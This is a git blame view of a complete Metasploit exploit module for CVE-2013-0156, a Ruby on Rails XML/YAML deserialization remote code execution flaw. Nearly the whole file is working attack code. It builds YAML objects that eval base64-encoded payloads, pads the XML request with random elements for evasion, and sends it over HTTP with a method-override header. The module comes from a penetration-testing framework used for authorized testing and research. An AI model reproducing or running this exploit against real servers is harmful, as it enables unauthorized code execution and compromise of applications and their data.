Files
metasploit-gs/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

155 lines
5.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the XML request
2025-06-20 13:20:44 +01:00
processor of the Ruby on Rails application framework. This vulnerability allows
an attacker to instantiate a remote object, which in turn can be used to execute
any ruby code remotely in the context of the application.
This module has been tested across multiple versions of RoR 3.x and RoR 2.x
The technique used by this module requires the target to be running a fairly recent
version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be
exploitable using the init_with() method, but this has not been demonstrated.
},
'Author' => [
'charliesome', # PoC
2013-01-10 17:10:03 -06:00
'espes', # PoC and Metasploit module
'lian', # Identified the RouteSet::NamedRouteCollection vector
'hdm' # Module merge/conversion/payload work
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2013-06-20 07:28:29 -05:00
[ 'CVE', '2013-0156' ],
[ 'OSVDB', '89026' ],
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156' ]
],
2025-06-20 13:20:44 +01:00
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => '2013-01-07',
'DefaultOptions' => { "PrependFork" => true },
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
2013-02-04 15:32:36 -06:00
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
2025-06-20 13:20:44 +01:00
]
)
2013-08-30 16:28:54 -05:00
register_evasion_options(
[
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
2025-06-20 13:20:44 +01:00
]
)
end
2013-08-30 16:28:54 -05:00
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails2
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
2025-06-20 13:20:44 +01:00
"'#{Rex::Text.rand_text_alpha(rand(8) + 1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
2025-06-20 13:20:44 +01:00
":#{Rex::Text.rand_text_alpha(rand(8) + 1)}:\n :#{Rex::Text.rand_text_alpha(rand(8) + 1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8) + 1)}\n"
yaml
end
2013-08-30 16:28:54 -05:00
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails3
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
2025-06-20 13:20:44 +01:00
"'#{Rex::Text.rand_text_alpha(rand(8) + 1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end
2013-08-30 16:28:54 -05:00
#
# Create the XML wrapper with any desired evasion
#
def build_request(v)
xml = ''
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
elo = Rex::Text.rand_text_alpha(rand(12) + 4)
2013-08-30 16:28:54 -05:00
if datastore['XML::PadElement']
xml << "<#{elo}>"
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
1.upto(rand(1000) + 50) do
el = Rex::Text.rand_text_alpha(rand(12) + 4)
tp = ['string', 'integer'][rand(2)]
xml << "<#{el} type='#{tp}'>"
2025-06-20 13:20:44 +01:00
xml << (tp == "integer" ? Rex::Text.rand_text_numeric(rand(8) + 1) : Rex::Text.rand_text_alphanumeric(rand(8) + 1))
xml << "</#{el}>"
end
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
el = Rex::Text.rand_text_alpha(rand(12) + 4)
xml << "<#{el} type='yaml'>"
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
xml << "</#{el}>"
2013-08-30 16:28:54 -05:00
if datastore['XML::PadElement']
2025-06-20 13:20:44 +01:00
1.upto(rand(1000) + 50) do
el = Rex::Text.rand_text_alpha(rand(12) + 4)
tp = ['string', 'integer'][rand(2)]
xml << "<#{el} type='#{tp}'>"
2025-06-20 13:20:44 +01:00
xml << (tp == "integer" ? Rex::Text.rand_text_numeric(rand(8) + 1) : Rex::Text.rand_text_alphanumeric(rand(8) + 1))
xml << "</#{el}>"
end
2013-08-30 16:28:54 -05:00
xml << "</#{elo}>"
end
2013-08-30 16:28:54 -05:00
xml
end
2013-08-30 16:28:54 -05:00
#
# Send the actual request
#
def exploit
[2, 3].each do |ver|
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'headers' => { 'X-HTTP-Method-Override' => 'get' },
2025-06-20 13:20:44 +01:00
'data' => build_request(ver)
}, 25)
handler
end
end
end